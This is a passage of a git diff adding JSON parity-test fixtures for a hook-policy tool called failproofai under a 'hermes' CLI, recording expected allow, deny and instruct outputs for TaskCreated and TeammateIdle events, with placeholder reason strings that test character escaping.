reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCreated/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..fad01931 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCreated/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..dceef133 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCreated/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..48cebe0d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..a9329e0c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..dcd081ee --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a96b75a6 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..26459085 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..f4090745 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..138fe719 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4dd1caa6 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..925d7caa --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/TeammateIdle/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..d70af239 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/TeammateIdle/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..60dcb597 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/TeammateIdle/deny__tool-present__one-policy.json new file mode 100644 index 00000000..fc5e2154 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/TeammateIdle/deny__tool-present__two-policies.json new file mode 100644 index 00000000..dbe7ba24 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/TeammateIdle/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..fe981780 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/TeammateIdle/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..5e9093e5 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/TeammateIdle/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..76e6e34c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TeammateIdle/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/TeammateIdle/instruct__tool-present__two-policies.json new 